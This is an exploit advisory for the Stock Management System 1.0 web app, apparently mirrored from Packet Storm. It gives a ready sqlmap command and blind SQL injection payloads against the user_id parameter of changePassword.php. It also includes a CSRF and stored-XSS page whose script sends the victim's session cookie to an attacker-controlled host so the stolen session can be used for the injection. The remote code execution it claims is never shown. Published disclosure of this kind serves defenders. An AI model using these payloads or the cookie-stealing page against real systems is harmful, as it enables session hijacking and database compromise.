Stock Management System 1.0 SQL Injection

🗓️ 14 Jun 2021 00:00:00Reported by Riadh BenlamineType

packetstorm🔗 packetstormsecurity.com👁 213 Views

Stock Management System 1.0 SQL Injection in changePassword.php allows remote code executio

`# Exploit Title: Stock Management System 1.0 - 'user_id' Blind SQL injection (Authenticated)  
# Date: 11/06/2021  
# Exploit Author: Riadh Benlamine (rbn0x00)  
# Vendor Homepage: https://www.sourcecodester.com/  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Warren%20Daloyan/stock.zip  
# Version: 1.0  
# Category: Webapps  
# Tested on: Apache2+MariaDB latest version  
# Description : Stock Management System suffers from SQL injection in '/stock/php_action/changePassword.php' because it does not sanitize the input before pushing into the sql query. Leading to remote code execution.  
  
- Vulnerable parameter: user_id=<injection point>  
SQLmap command:  
--------------  
  
sqlmap -u http://<target_host>/stock/php_action/changePassword.php --data="password=invalidpassword&npassword=test&cpassword=test&user_id=1*" --cookie="PHPSESSID=<your cookie>" --is-dba  
  
SQLmap Output:  
-------------  
  
Parameter: #1* ((custom) POST)  
Type: boolean-based blind  
Title: Boolean-based blind - Parameter replace (original value)  
Payload: password=invalidpassword&npassword=test&cpassword=test&user_id=(SELECT (CASE WHEN (7792=7792) THEN 1 ELSE (SELECT 5315 UNION SELECT 6564) END))  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: password=invalidpassword&npassword=test&cpassword=test&user_id=1 AND (SELECT 8344 FROM (SELECT(SLEEP(5)))RdSH)  
  
Trick:  
-----  
We could steal the users cookie by chaining CSRF and stored XSS  
<html>  
  
<body>  
  
<script>history.pushState('', '', '/')</script>  
  
<form action="http://<YOUR_TARGET>/stock/php_action/changeUsername.php" method="POST">  
  
<input type="hidden" name="username" value=""><script> alert(document.cookie); var i=new Image; i.src="http://<YOUR_IP>:<YOUR_PORT>/?"+document.cookie; </script>" />  
  
<input type="hidden" name="user_id" value="1" />  
  
<input type="submit" value="Submit request" />  
  
</form>  
  
</body>  
  
</html>  
  
and then use the cookie to preform SQL injection :)  
`

14 Jun 2021 00:00Current

0.2Low risk

Vulners AI Score0.2